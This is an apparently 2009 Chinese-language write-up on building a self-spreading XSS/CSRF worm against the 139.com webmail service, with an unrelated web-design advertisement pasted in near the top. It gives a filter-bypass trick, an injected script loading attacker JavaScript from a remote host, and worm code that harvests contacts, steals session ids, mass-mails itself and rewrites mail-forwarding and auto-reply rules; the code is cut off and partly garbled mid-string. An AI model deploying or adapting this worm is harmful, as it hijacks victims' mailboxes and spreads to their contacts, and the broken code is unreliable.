139邮箱蠕虫编写实例

站在用户的角度思考问题,与客户深入沟通,找到鲁山网站设计与鲁山网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都网站设计、成都网站制作、企业官网、英文网站、手机端网站、网站推广、域名注册、网络空间、企业邮箱。业务覆盖鲁山地区。
Author:[sh0wrun],[woyigui]
Date:2009-09-09
声明:该漏洞已报告并已修复,切勿用于非法目的。
原理分析:
我们经常会用到的mail.139.com,由于对邮件正文过滤不严,导致存在xss漏洞。他们尽管实现了对style="xss:expression"进行过滤,但是可以通过添加/* */绕过,如:。在添加/* */后,该脚本能够在IE浏览器执行。
同时,经过分析发现,mail.139.com中发送邮件的功能存在CSRF弱点;可以通过Ajax技术获取发送邮件所需要的mid值。另外邮箱的“通信录“中的联系人邮件可以直接通过javascript取出。
满足了编写csrf worm的3个条件,接下来的工作,就是通过编写javascript代码来实现了。
跨站代码:
该部分要实现的功能就是,触发浏览器去读取远端的js脚本,并且执行该脚本:
Original:
var ig =document.createElement("script");ig.src="http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}
对该部分编码按照10进制进行编码,以避免关键字被替换,并调用:
该部分代码,需放置在邮件正文中传送。
脚本功能的实现:
主要实现了如下功能:
1.通过脚本,读取联系人的邮箱地址。
该部分信息,可以通过top.LinkManList.concat()获取。
2.通过脚本,获取sid值
该部分信息,可以通过window.top.location.href,配合正则表达式获取到。
3.获取发送邮件所需要的mid值
在获取到sid值后,通过script打开"写邮件"页面,读取mid值。
4.发送邮件
发送邮件功能只验证mid值,因此在获取到正确的mid值后,连同获取到的联系人一起,构造post数据,发送邮件。
5.改写邮件转发规则和自动回复规则
在有正确的sid后,构造post。
完整代码:
var xssed = false;
if (typeof XSSflag != "undefined"){
xssed = true;
}
var XSSflag = [
{name: "version", url: "1.0"},
];
if ( xssed != true ) {
var xmlhttp;
//create XHR
function createXMLHttp(){
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0',
'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP' );
var success = false;
for (var i=0;i < XMLHTTP_IDS.length && !success; i++) {
try {
xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
success = true;
} catch (e) {}
}
if (!success) {
throw new Error('Unable to create XMLHttpRequest.');
}
}
}
function domid (dourl) {
createXMLHttp();
var tmp = "";
xmlhttp.open("GET", dourl, false);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(null);
setTimeout( tmp = xmlhttp.responseText,500);
return tmp;
}
function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){
createXMLHttp();
var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=send.x&idOpType=&text="+ Content +"&destcgi= &funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year= &month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent= xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded;");
y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0";
|